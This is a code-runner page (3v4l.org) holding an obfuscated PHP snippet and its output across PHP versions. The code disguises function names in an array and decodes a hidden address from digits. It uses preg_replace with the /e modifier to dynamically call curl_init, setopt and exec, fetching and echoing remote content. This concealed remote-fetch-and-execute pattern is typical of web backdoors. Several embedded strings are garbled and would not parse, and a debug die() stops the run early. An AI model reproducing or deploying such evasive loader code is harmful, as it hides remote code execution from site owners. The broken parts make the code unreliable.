3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $vars = array( '28', 'chr', //1 -- x + 3 'curl', 'init', 'setopt', 'exec', // 5 'close', 'strtoupper', 'strrev', 'opt', 'timeout', 'refsnartnruter', '_', 'preg_replace', 'preg_split', 'base64_decode', "/mix../mixe", //16 ? '/mixed', "array_map", // 'implode', //19 3, 5, 7, 11, 13, 17, 19, 23, 'array_push' ); //chr[0] = $vars[2][0] = $vars[6][0] = 'c'; //$vars[15][0] = $vars[15][1]; //$vars[15][1] = $vars[11][5]; //$vars[5][0] = $vars[5][2] = $vars[15][3] = $vars[15][8] = $vars[15][12] = preg_replace[2] = $vars[14][2] = "e"; //$vars[16] = ($vars[17] = "/" . $vars[17]) ? ($vars[17]) : 0; //$vars[16][4] = $vars[16][5] = '.'; //$vars[16].= $vars[17]; //$vars[16][11] = ''; //implode = $vars[0]; function xvars($n) { global $vars; $n+= 19; return ($n > 19) ? chr($n) : ''; } $x = array( '(( $vars[15] = $vars[ $vars[0] ]( $vars[15]( strrev( implode( array_map("xvars", $vars[14]( "/[\D]+/", preg_replace( "/vars/", "+", ${$vars[5][1]}[ $vars[22] -1 ] .${$vars[5][1]}[ $vars[22] +0 ] .${$vars[5][1]}[ $vars[22] +1 ] )) ) ) ) ) ))?0:0 )', '(( $vars[ $vars[0]-- ]( $vars[15],CURLOPT_TIMEOUT , 1<<5 ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15],CURLOPT_RETURNTRANSFER , 2>>1 ))?0:0)', '(( $zvars = $vars[ $vars[0] ]( $vars[15] ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15] ))?0:0)', '.strtoupper($vars[0]);', '->$vars[100]($vars[85].$vars[52]($vars[80]($vars[38].$vars[66]($vars[52],$vars[80]($vars[34]($vars[63]($vars[91]($vars[55].$vars[97],$vars[38])$vars[31],$vars[70]($vars[98]($vars[54])$vars[32].$vars[79].$vars[86],$vars[51]($vars[90])$vars[78].$vars[102]($vars[51].$vars[68].$vars[61].$vars[98]($vars[89]())', '(($vars[68].$vars[70]($vars[97]($vars[38].$vars[52])$vars[71]($vars[28])$vars[46])$vars[53])$vars[78].$vars[100],$vars[34]($vars[64],$vars[71].$vars[29])$vars[51].$vars[90].$vars[80]($vars[89],$vars[34]($vars[68].$vars[71].$vars[91]($vars[38].$vars[86])$vars[80].$vars[89])$vars[30],$vars[68],))', '(($vars[70])$vars[102])$vars[71])$vars[68],$vars[78])$vars[99].$vars[96])$vars[52].$vars[81].$vars[98],$vars[100]($vars[52],$vars[79],$vars[96]($vars[89])$vars[52].$vars[79])$vars[96])$vars[101].$vars[31].$vars[57]($vars[99].$vars[92]($vars[49]($vars[80]($vars[29],$vars[63])$vars[53]($vars[78]()' ); //$vars[18] = $vars[0] = "array" . "_"; //$vars[0].= 'array_push'; //$vars[18].= 'array_map'; //$vars[0] = array_push($vars, 'array_push') - 1; $i = $q = 0; while ($i < 5) { var_dump($vars[$vars[0]-$q]); die(); ($i != 2) ? ($vars[$vars[0] - $q]($vars, $vars[2] . "_" . $vars[3 + $q]) && $q++) : 0; //step 0,1,3,4 $vars[0]++; preg_replace($vars[16], $ { $vars[16][3] } [0 + $i] . $x[5], $vars[17]); $i++; } echo ($zvars);
based on GonRk
Output for 4.3.0 - 7.2.0
string(10) "array_push"